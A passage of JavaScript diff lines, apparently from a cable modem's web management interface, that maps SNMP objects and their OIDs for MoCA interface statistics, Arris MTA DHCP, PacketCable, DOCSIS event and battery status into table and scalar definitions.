mocaIfConfigTable.mocaIfAccessEnable; +var mocaIfPhyThreshold = mocaIfConfigTable.mocaIfPhyThreshold; +var mocaIfPhyThresholdEnable = mocaIfConfigTable.mocaIfPhyThresholdEnable; +var mocaIfStatusChangeEnable = mocaIfConfigTable.mocaIfStatusChangeEnable; +var mocaIfNumNodesChangeEnable = mocaIfConfigTable.mocaIfNumNodesChangeEnable; + +var mocaIfAccessTable = new Table("mocaIfAccessTable", "1.3.6.1.4.1.31621.1.1.1.2"); +mocaIfAccessTable.mocaIfAccessIndex = new Column("mocaIfAccessIndex", "1.3.6.1.4.1.31621.1.1.1.2.1.1", 2); +mocaIfAccessTable.mocaIfAccessMacAddress = new Column("mocaIfAccessMacAddress", "1.3.6.1.4.1.31621.1.1.1.2.1.2", 4,1); +mocaIfAccessTable.mocaIfAccessStatus = new Column("mocaIfAccessStatus", "1.3.6.1.4.1.31621.1.1.1.2.1.3", 2); +var mocaIfAccessIndex = mocaIfAccessTable.mocaIfAccessIndex; +var mocaIfAccessMacAddress = mocaIfAccessTable.mocaIfAccessMacAddress; +var mocaIfAccessStatus = mocaIfAccessTable.mocaIfAccessStatus; + +var mocaIfStatusTable = new Table("mocaIfStatusTable", "1.3.6.1.4.1.31621.1.1.1.3"); +mocaIfStatusTable.mocaIfStatus = new Column("mocaIfStatus", "1.3.6.1.4.1.31621.1.1.1.3.1.1", 2); +mocaIfStatusTable.mocaIfLinkUpTime = new Column("mocaIfLinkUpTime", "1.3.6.1.4.1.31621.1.1.1.3.1.2", 66); +mocaIfStatusTable.mocaIfSoftwareVersion = new Column("mocaIfSoftwareVersion", "1.3.6.1.4.1.31621.1.1.1.3.1.3", 4); +mocaIfStatusTable.mocaIfMocaVersion = new Column("mocaIfMocaVersion", "1.3.6.1.4.1.31621.1.1.1.3.1.4", 2); +mocaIfStatusTable.mocaIfNetworkVersion = new Column("mocaIfNetworkVersion", "1.3.6.1.4.1.31621.1.1.1.3.1.5", 2); +mocaIfStatusTable.mocaIfMacAddress = new Column("mocaIfMacAddress", "1.3.6.1.4.1.31621.1.1.1.3.1.6", 4,1); +mocaIfStatusTable.mocaIfNodeID = new Column("mocaIfNodeID", "1.3.6.1.4.1.31621.1.1.1.3.1.7", 66); +mocaIfStatusTable.mocaIfName = new Column("mocaIfName", "1.3.6.1.4.1.31621.1.1.1.3.1.8", 4); +mocaIfStatusTable.mocaIfNumNodes = new Column("mocaIfNumNodes", "1.3.6.1.4.1.31621.1.1.1.3.1.9", 66); +mocaIfStatusTable.mocaIfNC = new Column("mocaIfNC", "1.3.6.1.4.1.31621.1.1.1.3.1.10", 66); +mocaIfStatusTable.mocaIfBackupNC = new Column("mocaIfBackupNC", "1.3.6.1.4.1.31621.1.1.1.3.1.11", 66); +mocaIfStatusTable.mocaIfRFChannel = new Column("mocaIfRFChannel", "1.3.6.1.4.1.31621.1.1.1.3.1.12", 2); +mocaIfStatusTable.mocaIfLOF = new Column("mocaIfLOF", "1.3.6.1.4.1.31621.1.1.1.3.1.13", 2); +mocaIfStatusTable.mocaIfTabooChannelMask = new Column("mocaIfTabooChannelMask", "1.3.6.1.4.1.31621.1.1.1.3.1.14", 66); +mocaIfStatusTable.mocaIfNodeTabooChannelMask = new Column("mocaIfNodeTabooChannelMask", "1.3.6.1.4.1.31621.1.1.1.3.1.15", 66); +mocaIfStatusTable.mocaIfCapabilityMask = new Column("mocaIfCapabilityMask", "1.3.6.1.4.1.31621.1.1.1.3.1.16", 66); +mocaIfStatusTable.mocaIfTxGcdPowerReduction = new Column("mocaIfTxGcdPowerReduction", "1.3.6.1.4.1.31621.1.1.1.3.1.17", 66); +mocaIfStatusTable.mocaIfQAM256Capable = new Column("mocaIfQAM256Capable", "1.3.6.1.4.1.31621.1.1.1.3.1.18", 2); +mocaIfStatusTable.mocaIfPacketsAggrCapability = new Column("mocaIfPacketsAggrCapability", "1.3.6.1.4.1.31621.1.1.1.3.1.19", 2); +mocaIfStatusTable.mocaIfMaxIngressNodeBw = new Column("mocaIfMaxIngressNodeBw", "1.3.6.1.4.1.31621.1.1.1.3.1.20", 66); +mocaIfStatusTable.mocaIfMaxEgressNodeBw = new Column("mocaIfMaxEgressNodeBw", "1.3.6.1.4.1.31621.1.1.1.3.1.21", 66); +mocaIfStatusTable.mocaIfTxGcdRate = new Column("mocaIfTxGcdRate", "1.3.6.1.4.1.31621.1.1.1.3.1.22", 66); +var mocaIfStatus = mocaIfStatusTable.mocaIfStatus; +var mocaIfLinkUpTime = mocaIfStatusTable.mocaIfLinkUpTime; +var mocaIfSoftwareVersion = mocaIfStatusTable.mocaIfSoftwareVersion; +var mocaIfMocaVersion = mocaIfStatusTable.mocaIfMocaVersion; +var mocaIfNetworkVersion = mocaIfStatusTable.mocaIfNetworkVersion; +var mocaIfMacAddress = mocaIfStatusTable.mocaIfMacAddress; +var mocaIfNodeID = mocaIfStatusTable.mocaIfNodeID; +var mocaIfName = mocaIfStatusTable.mocaIfName; +var mocaIfNumNodes = mocaIfStatusTable.mocaIfNumNodes; +var mocaIfNC = mocaIfStatusTable.mocaIfNC; +var mocaIfBackupNC = mocaIfStatusTable.mocaIfBackupNC; +var mocaIfRFChannel = mocaIfStatusTable.mocaIfRFChannel; +var mocaIfLOF = mocaIfStatusTable.mocaIfLOF; +var mocaIfTabooChannelMask = mocaIfStatusTable.mocaIfTabooChannelMask; +var mocaIfNodeTabooChannelMask = mocaIfStatusTable.mocaIfNodeTabooChannelMask; +var mocaIfCapabilityMask = mocaIfStatusTable.mocaIfCapabilityMask; +var mocaIfTxGcdPowerReduction = mocaIfStatusTable.mocaIfTxGcdPowerReduction; +var mocaIfQAM256Capable = mocaIfStatusTable.mocaIfQAM256Capable; +var mocaIfPacketsAggrCapability = mocaIfStatusTable.mocaIfPacketsAggrCapability; +var mocaIfMaxIngressNodeBw = mocaIfStatusTable.mocaIfMaxIngressNodeBw; +var mocaIfMaxEgressNodeBw = mocaIfStatusTable.mocaIfMaxEgressNodeBw; +var mocaIfTxGcdRate = mocaIfStatusTable.mocaIfTxGcdRate; + +var mocaIfStatsTable = new Table("mocaIfStatsTable", "1.3.6.1.4.1.31621.1.1.1.4"); +mocaIfStatsTable.mocaIfTxPackets = new Column("mocaIfTxPackets", "1.3.6.1.4.1.31621.1.1.1.4.1.1", 65); +mocaIfStatsTable.mocaIfTxDrops = new Column("mocaIfTxDrops", "1.3.6.1.4.1.31621.1.1.1.4.1.2", 65); +mocaIfStatsTable.mocaIfRxPackets = new Column("mocaIfRxPackets", "1.3.6.1.4.1.31621.1.1.1.4.1.3", 65); +mocaIfStatsTable.mocaIfRxCorrectedErrors = new Column("mocaIfRxCorrectedErrors", "1.3.6.1.4.1.31621.1.1.1.4.1.4", 65); +mocaIfStatsTable.mocaIfRxDrops = new Column("mocaIfRxDrops", "1.3.6.1.4.1.31621.1.1.1.4.1.5", 65); +mocaIfStatsTable.mocaIfEgressNodeNumFlows = new Column("mocaIfEgressNodeNumFlows", "1.3.6.1.4.1.31621.1.1.1.4.1.6", 66); +mocaIfStatsTable.mocaIfIngressNodeNumFlows = new Column("mocaIfIngressNodeNumFlows", "1.3.6.1.4.1.31621.1.1.1.4.1.7", 66); +var mocaIfTxPackets = mocaIfStatsTable.mocaIfTxPackets; +var mocaIfTxDrops = mocaIfStatsTable.mocaIfTxDrops; +var mocaIfRxPackets = mocaIfStatsTable.mocaIfRxPackets; +var mocaIfRxCorrectedErrors = mocaIfStatsTable.mocaIfRxCorrectedErrors; +var mocaIfRxDrops = mocaIfStatsTable.mocaIfRxDrops; +var mocaIfEgressNodeNumFlows = mocaIfStatsTable.mocaIfEgressNodeNumFlows; +var mocaIfIngressNodeNumFlows = mocaIfStatsTable.mocaIfIngressNodeNumFlows; + +var mocaIfFlowStatsTable = new Table("mocaIfFlowStatsTable", "1.3.6.1.4.1.31621.1.1.1.5"); +mocaIfFlowStatsTable.mocaIfFlowIndex = new Column("mocaIfFlowIndex", "1.3.6.1.4.1.31621.1.1.1.5.1.1", 2); +mocaIfFlowStatsTable.mocaIfFlowID = new Column("mocaIfFlowID", "1.3.6.1.4.1.31621.1.1.1.5.1.2", 4); +mocaIfFlowStatsTable.mocaIfPacketDA = new Column("mocaIfPacketDA", "1.3.6.1.4.1.31621.1.1.1.5.1.3", 4,1); +mocaIfFlowStatsTable.mocaIfPeakDataRate = new Column("mocaIfPeakDataRate", "1.3.6.1.4.1.31621.1.1.1.5.1.4", 66); +mocaIfFlowStatsTable.mocaIfBurstSize = new Column("mocaIfBurstSize", "1.3.6.1.4.1.31621.1.1.1.5.1.5", 66); +mocaIfFlowStatsTable.mocaIfLeaseTime = new Column("mocaIfLeaseTime", "1.3.6.1.4.1.31621.1.1.1.5.1.6", 66); +mocaIfFlowStatsTable.mocaIfFlowTag = new Column("mocaIfFlowTag", "1.3.6.1.4.1.31621.1.1.1.5.1.7", 66); +mocaIfFlowStatsTable.mocaIfLeaseTimeLeft = new Column("mocaIfLeaseTimeLeft", "1.3.6.1.4.1.31621.1.1.1.5.1.8", 66); +mocaIfFlowStatsTable.mocaIfTxPacketsOnePacketAggr = new Column("mocaIfTxPacketsOnePacketAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.9", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsTwoPacketsAggr = new Column("mocaIfTxPacketsTwoPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.10", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsThreePacketsAggr = new Column("mocaIfTxPacketsThreePacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.11", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsFourPacketsAggr = new Column("mocaIfTxPacketsFourPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.12", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsFivePacketsAggr = new Column("mocaIfTxPacketsFivePacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.13", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsSixPacketsAggr = new Column("mocaIfTxPacketsSixPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.14", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsSevenPacketsAggr = new Column("mocaIfTxPacketsSevenPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.15", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsEightPacketsAggr = new Column("mocaIfTxPacketsEightPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.16", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsNinePacketsAggr = new Column("mocaIfTxPacketsNinePacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.17", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsTenPacketsAggr = new Column("mocaIfTxPacketsTenPacketsAggr", "1.3.6.1.4.1.31621.1.1.1.5.1.18", 65); +mocaIfFlowStatsTable.mocaIfTxPacketsFlow = new Column("mocaIfTxPacketsFlow", "1.3.6.1.4.1.31621.1.1.1.5.1.19", 66); +var mocaIfFlowIndex = mocaIfFlowStatsTable.mocaIfFlowIndex; +var mocaIfFlowID = mocaIfFlowStatsTable.mocaIfFlowID; +var mocaIfPacketDA = mocaIfFlowStatsTable.mocaIfPacketDA; +var mocaIfPeakDataRate = mocaIfFlowStatsTable.mocaIfPeakDataRate; +var mocaIfBurstSize = mocaIfFlowStatsTable.mocaIfBurstSize; +var mocaIfLeaseTime = mocaIfFlowStatsTable.mocaIfLeaseTime; +var mocaIfFlowTag = mocaIfFlowStatsTable.mocaIfFlowTag; +var mocaIfLeaseTimeLeft = mocaIfFlowStatsTable.mocaIfLeaseTimeLeft; +var mocaIfTxPacketsOnePacketAggr = mocaIfFlowStatsTable.mocaIfTxPacketsOnePacketAggr; +var mocaIfTxPacketsTwoPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsTwoPacketsAggr; +var mocaIfTxPacketsThreePacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsThreePacketsAggr; +var mocaIfTxPacketsFourPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsFourPacketsAggr; +var mocaIfTxPacketsFivePacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsFivePacketsAggr; +var mocaIfTxPacketsSixPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsSixPacketsAggr; +var mocaIfTxPacketsSevenPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsSevenPacketsAggr; +var mocaIfTxPacketsEightPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsEightPacketsAggr; +var mocaIfTxPacketsNinePacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsNinePacketsAggr; +var mocaIfTxPacketsTenPacketsAggr = mocaIfFlowStatsTable.mocaIfTxPacketsTenPacketsAggr; +var mocaIfTxPacketsFlow = mocaIfFlowStatsTable.mocaIfTxPacketsFlow; + +var mocaNodeTable = new Table("mocaNodeTable", "1.3.6.1.4.1.31621.1.1.1.6"); +mocaNodeTable.mocaNodeIndex = new Column("mocaNodeIndex", "1.3.6.1.4.1.31621.1.1.1.6.1.1", 66); +mocaNodeTable.mocaNodeMocaVersion = new Column("mocaNodeMocaVersion", "1.3.6.1.4.1.31621.1.1.1.6.1.2", 2); +mocaNodeTable.mocaNodeMacAddress = new Column("mocaNodeMacAddress", "1.3.6.1.4.1.31621.1.1.1.6.1.3", 4,1); +mocaNodeTable.mocaNodeTxGcdRate = new Column("mocaNodeTxGcdRate", "1.3.6.1.4.1.31621.1.1.1.6.1.4", 66); +mocaNodeTable.mocaNodeRxGcdPower = new Column("mocaNodeRxGcdPower", "1.3.6.1.4.1.31621.1.1.1.6.1.5", 2); +mocaNodeTable.mocaNodeTxPowerReduction = new Column("mocaNodeTxPowerReduction", "1.3.6.1.4.1.31621.1.1.1.6.1.6", 66); +mocaNodeTable.mocaNodeRxPower = new Column("mocaNodeRxPower", "1.3.6.1.4.1.31621.1.1.1.6.1.7", 2); +mocaNodeTable.mocaNodePreferredNC = new Column("mocaNodePreferredNC", "1.3.6.1.4.1.31621.1.1.1.6.1.8", 2); +mocaNodeTable.mocaNodeQAM256Capable = new Column("mocaNodeQAM256Capable", "1.3.6.1.4.1.31621.1.1.1.6.1.9", 2); +mocaNodeTable.mocaNodePacketsAggrCapability = new Column("mocaNodePacketsAggrCapability", "1.3.6.1.4.1.31621.1.1.1.6.1.10", 2); +mocaNodeTable.mocaNodeRxPackets = new Column("mocaNodeRxPackets", "1.3.6.1.4.1.31621.1.1.1.6.1.11", 65); +mocaNodeTable.mocaNodeRxCorrected = new Column("mocaNodeRxCorrected", "1.3.6.1.4.1.31621.1.1.1.6.1.12", 65); +mocaNodeTable.mocaNodeRxDrops = new Column("mocaNodeRxDrops", "1.3.6.1.4.1.31621.1.1.1.6.1.13", 65); +mocaNodeTable.mocaNodeSNR = new Column("mocaNodeSNR", "1.3.6.1.4.1.31621.1.1.1.6.1.14", 66); +var mocaNodeIndex = mocaNodeTable.mocaNodeIndex; +var mocaNodeMocaVersion = mocaNodeTable.mocaNodeMocaVersion; +var mocaNodeMacAddress = mocaNodeTable.mocaNodeMacAddress; +var mocaNodeTxGcdRate = mocaNodeTable.mocaNodeTxGcdRate; +var mocaNodeRxGcdPower = mocaNodeTable.mocaNodeRxGcdPower; +var mocaNodeTxPowerReduction = mocaNodeTable.mocaNodeTxPowerReduction; +var mocaNodeRxPower = mocaNodeTable.mocaNodeRxPower; +var mocaNodePreferredNC = mocaNodeTable.mocaNodePreferredNC; +var mocaNodeQAM256Capable = mocaNodeTable.mocaNodeQAM256Capable; +var mocaNodePacketsAggrCapability = mocaNodeTable.mocaNodePacketsAggrCapability; +var mocaNodeRxPackets = mocaNodeTable.mocaNodeRxPackets; +var mocaNodeRxCorrected = mocaNodeTable.mocaNodeRxCorrected; +var mocaNodeRxDrops = mocaNodeTable.mocaNodeRxDrops; +var mocaNodeSNR = mocaNodeTable.mocaNodeSNR; + +var mocaMeshTable = new Table("mocaMeshTable", "1.3.6.1.4.1.31621.1.1.1.7"); +mocaMeshTable.mocaMeshTxNodeIndex = new Column("mocaMeshTxNodeIndex", "1.3.6.1.4.1.31621.1.1.1.7.1.1", 66); +mocaMeshTable.mocaMeshRxNodeIndex = new Column("mocaMeshRxNodeIndex", "1.3.6.1.4.1.31621.1.1.1.7.1.2", 66); +mocaMeshTable.mocaMeshTxRate = new Column("mocaMeshTxRate", "1.3.6.1.4.1.31621.1.1.1.7.1.3", 66); +var mocaMeshTxNodeIndex = mocaMeshTable.mocaMeshTxNodeIndex; +var mocaMeshRxNodeIndex = mocaMeshTable.mocaMeshRxNodeIndex; +var mocaMeshTxRate = mocaMeshTable.mocaMeshTxRate; + +var mocaBridgeTable = new Table("mocaBridgeTable", "1.3.6.1.4.1.31621.1.1.1.8"); +mocaBridgeTable.mocaBridgeNodeIndex = new Column("mocaBridgeNodeIndex", "1.3.6.1.4.1.31621.1.1.1.8.1.1", 66); +mocaBridgeTable.mocaBridgeMacIndex = new Column("mocaBridgeMacIndex", "1.3.6.1.4.1.31621.1.1.1.8.1.2", 2); +mocaBridgeTable.mocaBridgeMacAddress = new Column("mocaBridgeMacAddress", "1.3.6.1.4.1.31621.1.1.1.8.1.3", 4,1); +var mocaBridgeNodeIndex = mocaBridgeTable.mocaBridgeNodeIndex; +var mocaBridgeMacIndex = mocaBridgeTable.mocaBridgeMacIndex; +var mocaBridgeMacAddress = mocaBridgeTable.mocaBridgeMacAddress; + + +var arrisMtaDevLineCardTable = new Table("arrisMtaDevLineCardTable", "1.3.6.1.4.1.4115.1.3.3.1.4.1"); +arrisMtaDevLineCardTable.LineNumber = new Column("arrisMtaDevLineCardLineNumber","1.3.6.1.4.1.4115.1.3.3.1.4.1.1.1",2); +arrisMtaDevLineCardTable.State = new Column("arrisMtaDevLineCardState","1.3.6.1.4.1.4115.1.3.3.1.4.1.1.2",2); +var arrisMtaDevLineCardLineNumber=arrisMtaDevLineCardTable.LineNumber; +var arrisMtaDevLineCardState=arrisMtaDevLineCardTable.State; + + +var arrisMtaDevDhcpMtaParameters = new Container("arrisMtaDevDhcpMtaParameters", "1.3.6.1.4.1.4115.1.3.3.1.1.2.1"); +arrisMtaDevDhcpMtaParameters.MtaIpFQDN = new Scalar("arrisMtaDevDhcpMtaIpFQDN","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.1",4); +arrisMtaDevDhcpMtaParameters.MtaIpAddr = new Scalar("arrisMtaDevDhcpMtaIpAddr","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.2",4,1); +arrisMtaDevDhcpMtaParameters.MtaSubNetMask = new Scalar("arrisMtaDevDhcpMtaSubNetMask","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.3",4,1); +arrisMtaDevDhcpMtaParameters.MtaGatewayIpAddr = new Scalar("arrisMtaDevDhcpMtaGatewayIpAddr","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.4",4,1); +arrisMtaDevDhcpMtaParameters.MtaConfigFile = new Scalar("arrisMtaDevDhcpMtaConfigFile","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.5",4); +var arMtaDevDhcpMtaIpFQDN = arrisMtaDevDhcpMtaParameters.MtaIpFQDN; +var arMtaDevDhcpMtaIpAddr = arrisMtaDevDhcpMtaParameters.MtaIpAddr; +var arMtaDevDhcpMtaSubNetMask = arrisMtaDevDhcpMtaParameters.MtaSubNetMask; +var arMtaDevDhcpMtaGatewayIpAddr = arrisMtaDevDhcpMtaParameters.MtaGatewayIpAddr; +var arMtaDevDhcpMtaConfigFile = arrisMtaDevDhcpMtaParameters.MtaConfigFile; + + +var arrisMtaDevDhcpLeaseParameters = new Container("arrisMtaDevDhcpLeaseParameters", "1.3.6.1.4.1.4115.1.3.3.1.1.2.3"); +arrisMtaDevDhcpLeaseParameters.OfferedLeaseTime = new Scalar("arrisMtaDevDhcpOfferedLeaseTime","1.3.6.1.4.1.4115.1.3.3.1.1.2.3.1",4,1); +arrisMtaDevDhcpLeaseParameters.LeaseTimeRemaining = new Scalar("arrisMtaDevDhcpLeaseTimeRemaining","1.3.6.1.4.1.4115.1.3.3.1.1.2.3.2",4,1); +arrisMtaDevDhcpLeaseParameters.TimeUntilRenew = new Scalar("arrisMtaDevDhcpTimeUntilRenew","1.3.6.1.4.1.4115.1.3.3.1.1.2.3.3",4,1); +arrisMtaDevDhcpLeaseParameters.TimeUntilRebind = new Scalar("arrisMtaDevDhcpTimeUntilRebind","1.3.6.1.4.1.4115.1.3.3.1.1.2.3.4",4,1); +var arMtaDevDhcpOfferedLeaseTime = arrisMtaDevDhcpLeaseParameters.OfferedLeaseTime; +var arMtaDevDhcpLeaseTimeRemaining = arrisMtaDevDhcpLeaseParameters.LeaseTimeRemaining; +var arMtaDevDhcpTimeUntilRenew = arrisMtaDevDhcpLeaseParameters.TimeUntilRenew; +var arMtaDevDhcpTimeUntilRebind = arrisMtaDevDhcpLeaseParameters.TimeUntilRebind; + +var arrisMtaDevDhcpSvrParameters = new Container("arrisMtaDevDhcpSvrParameters", "1.3.6.1.4.1.4115.1.3.3.1.1.2.2"); +arrisMtaDevDhcpSvrParameters.PrimaryDNSSvrIpAddr = new Scalar("arrisMtaDevDhcpPrimaryDNSSvrIpAddr","1.3.6.1.4.1.4115.1.3.3.1.1.2.2.4",4,1); +arrisMtaDevDhcpSvrParameters.SecondaryDNSSvrIpAddr = new Scalar("arrisMtaDevDhcpSecondaryDNSSvrIpAddr","1.3.6.1.4.1.4115.1.3.3.1.1.2.2.5",4,1); +var arMtaDevDhcpPrimaryDNSSvrIpAddr = arrisMtaDevDhcpSvrParameters.PrimaryDNSSvrIpAddr; +var arMtaDevDhcpSecondaryDNSSvrIpAddr = arrisMtaDevDhcpSvrParameters.SecondaryDNSSvrIpAddr; + +var arrisMtaDevDhcpPktcOptParameters = new Container("arrisMtaDevDhcpPktcOptParameters", "1.3.6.1.4.1.4115.1.3.3.1.1.2.4"); +arrisMtaDevDhcpPktcOptParameters.SvcProviderSnmpEntity = new Scalar("arrisMtaDevDhcpSvcProviderSnmpEntity","1.3.6.1.4.1.4115.1.3.3.1.1.2.4.2",4,1); +arrisMtaDevDhcpPktcOptParameters.KerberosRealmFqdn = new Scalar("arrisMtaDevDhcpKerberosRealmFqdn","1.3.6.1.4.1.4115.1.3.3.1.1.2.4.3",4,1); +arrisMtaDevDhcpPktcOptParameters.RequestTgt = new Scalar("arrisMtaDevDhcpRequestTgt","1.3.6.1.4.1.4115.1.3.3.1.1.2.4.4",4); +arrisMtaDevDhcpPktcOptParameters.ProvTimer = new Scalar("arrisMtaDevDhcpProvTimer","1.3.6.1.4.1.4115.1.3.3.1.1.2.4.5",2); +var arMtaDevDhcpSvcProviderSnmpEntity = arrisMtaDevDhcpPktcOptParameters.SvcProviderSnmpEntity; +var arMtaDevDhcpKerberosRealmFqdn = arrisMtaDevDhcpPktcOptParameters.KerberosRealmFqdn; +var arMtaDevDhcpRequestTgt = arrisMtaDevDhcpPktcOptParameters.RequestTgt; +var arMtaDevDhcpProvTimer = arrisMtaDevDhcpPktcOptParameters.ProvTimer; + +var pktcMtaDevBase = new Container("pktcMtaDevBase", "1.3.6.1.4.1.4491.2.2.1.1.1"); +pktcMtaDevBase.Enabled = new Scalar("pktcMtaDevEnabled", "1.3.6.1.4.1.4491.2.2.1.1.1.7",2); +var pktcMtaDevEnabled = pktcMtaDevBase.Enabled; + +var pktcSigDevConfigObjects = new Container("pktcSigDevConfigObjects", "1.3.6.1.4.1.4491.2.2.2.1.1"); +pktcSigDevConfigObjects.DefCallSigTos = new Scalar("pktcSigDefCallSigTos", "1.3.6.1.4.1.4491.2.2.2.1.1.8",2); +pktcSigDevConfigObjects.DefMediaStreamTos = new Scalar("pktcSigDefMediaStreamTos", "1.3.6.1.4.1.4491.2.2.2.1.1.9",2); +var pktcSigDefCallSigTos = pktcSigDevConfigObjects.DefCallSigTos; +var pktcSigDefMediaStreamTos = pktcSigDevConfigObjects.DefMediaStreamTos; + +var pktcMtaDevRealmEntry = new Container("pktcMtaDevRealmEntry", "1.3.6.1.4.1.4491.2.2.1.1.3.16.1"); +pktcMtaDevRealmEntry.OrgName = new Scalar("pktcMtaDevRealmOrgName", "1.3.6.1.4.1.4491.2.2.1.1.3.16.1.4",4); +pktcMtaDevRealmEntry.PkinitGracePeriod = new Scalar("pktcMtaDevRealmPkinitGracePeriod ", "1.3.6.1.4.1.4491.2.2.1.1.3.16.1.2",2); +var pktcMtaDevRealmOrgName = pktcMtaDevRealmEntry.OrgName; +var pktcMtaDevRealmPkinitGracePeriod = pktcMtaDevRealmEntry.PkinitGracePeriod; + +var pktcMtaDevCmsEntry = new Container("pktcMtaDevCmsEntry", "1.3.6.1.4.1.4491.2.2.1.1.3.17.1"); +pktcMtaDevCmsEntry.KerbRealmName = new Scalar("pktcMtaDevCmsKerbRealmName", "1.3.6.1.4.1.4491.2.2.1.1.3.17.1.2",4); +pktcMtaDevCmsEntry.SolicitedKeyTimeout = new Scalar("pktcMtaDevCmsSolicitedKeyTimeout", "1.3.6.1.4.1.4491.2.2.1.1.3.17.1.4",2); +pktcMtaDevCmsEntry.IpsecCtrl = new Scalar("pktcMtaDevCmsIpsecCtrl", "1.3.6.1.4.1.4491.2.2.1.1.3.17.1.10",2); +var pktcMtaDevCmsKerbRealmName = pktcMtaDevCmsEntry.KerbRealmName; +var pktcMtaDevCmsSolicitedKeyTimeout = pktcMtaDevCmsEntry.SolicitedKeyTimeout; +var pktcMtaDevCmsIpsecCtrl = pktcMtaDevCmsEntry.IpsecCtrl; + +var pktcNcsEndPntConfigEntry = new Container("pktcNcsEndPntConfigEntry", "1.3.6.1.4.1.4491.2.2.2.1.2.1.1"); +pktcNcsEndPntConfigEntry.CallAgentId = new Scalar("pktcNcsEndPntConfigCallAgentId", "1.3.6.1.4.1.4491.2.2.2.1.2.1.1.1",4); +pktcNcsEndPntConfigEntry.CallAgentUdpPort = new Scalar("pktcNcsEndPntConfigCallAgentUdpPort", "1.3.6.1.4.1.4491.2.2.2.1.2.1.1.2",2); +pktcNcsEndPntConfigEntry.MWD = new Scalar("pktcNcsEndPntConfigMWD", "1.3.6.1.4.1.4491.2.2.2.1.2.1.1.18",2); +var pktcNcsEndPntConfigCallAgentId = pktcNcsEndPntConfigEntry.CallAgentId; +var pktcNcsEndPntConfigCallAgentUdpPort = pktcNcsEndPntConfigEntry.CallAgentUdpPort; +var pktcNcsEndPntConfigMWD = pktcNcsEndPntConfigEntry.MWD; + + +var docsDevEventTable = new Table("docsDevEventTable", "1.3.6.1.2.1.69.1.5.8"); +docsDevEventTable.EvFirstTime = new Column("docsDevEvFirstTime","1.3.6.1.2.1.69.1.5.8.1.2",4,1); +docsDevEventTable.EvLastTime = new Column("docsDevEvLastTime","1.3.6.1.2.1.69.1.5.8.1.3",4,1); +docsDevEventTable.EvText = new Column("docsDevEvText","1.3.6.1.2.1.69.1.5.8.1.7",4); +var docsDevEvFirstTime=docsDevEventTable.EvFirstTime; +var docsDevEvLastTime=docsDevEventTable.EvLastTime; +var docsDevEvText=docsDevEventTable.EvText; + + + +// + + +//battery + + +// +var upsBattery = new Container("upsBattery", "1.3.6.1.2.1.33.1.2"); +upsBattery.upsBatteryStatus = new Scalar("upsBatteryStatus", "1.3.6.1.2.1.33.1.2.1", 2); + +var MtaDevBatteryStatusTable = new Table("MtaDevBatteryStatusTable", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3"); +MtaDevBatteryStatusTable.MtaDevBatteryOperState = new Column("MtaDevBatteryOperState", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3.1.2", 2); +MtaDevBatteryStatusTable.MtaDevBatteryOperSubState = new Column("MtaDevBatteryOperSubState", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3.1.4", 4,1); +MtaDevBatteryStatusTable.MtaDevBatteryOrderingCode = new Column("MtaDevBatteryOrderingCode", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3.1.5", 4,1); +MtaDevBatteryStatusTable.MtaDevBatteryEprom = new Column("MtaDevBatteryEprom", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3.1.6", 4,1); + +var MtaDevPwrSupplyStats = new Container("MtaDevPwrSupplyStats", "1.3.6.1.4.1.4115.1.3.3.1.3.5"); +MtaDevPwrSupplyStats.MtaDevPwrSupplyBatRatedMinutes = new Scalar("MtaDevPwrSupplyBatRatedMinutes", "1.3.6.1.4.1.4115.1.3.3.1.3.5.10", 2); +MtaDevPwrSupplyStats.MtaDevPwrSupplyBatAvailableMinutes = new Scalar("MtaDevPwrSupplyBatAvailableMinutes", "1.3.6.1.4.1.4115.1.3.3.1.3.5.11", 2); +// scm ChengTa Lee x2 +MtaDevPwrSupplyStats.MtaDevPwrSupplyRatedBatCapacity = new Scalar("MtaDevPwrSupplyRatedBatCapacity", "1.3.6.1.4.1.4115.1.3.3.1.3.5.5", 2); +MtaDevPwrSupplyStats.MtaDevPwrSupplyTestedBatCapacity = new Scalar("MtaDevPwrSupplyTestedBatCapacity", "1.3.6.1.4.1.4115.1.3.3.1.3.5.6", 2); +// scm ChengTa Lee +var MtaDevTrace = new Container("MtaDevTrace", "1.3.6.1.4.1.4115.1.3.3.1.1.1.2"); +MtaDevTrace.MtaDevEstimatedMinutesRemaining = new Scalar("MtaDevEstimatedMinutesRemaining", "1.3.6.1.4.1.4115.1.3.3.1.1.1.2.44", 2); +MtaDevTrace.MtaDevEstimatedChargeRemaining = new Scalar("MtaDevEstimatedChargeRemaining", "1.3.6.1.4.1.4115.1.3.3.1.1.1.2.45", 2); +// scm ChengTa Lee x2 +var arrisMtaDevPwrSupplyRatedBatCapacity = 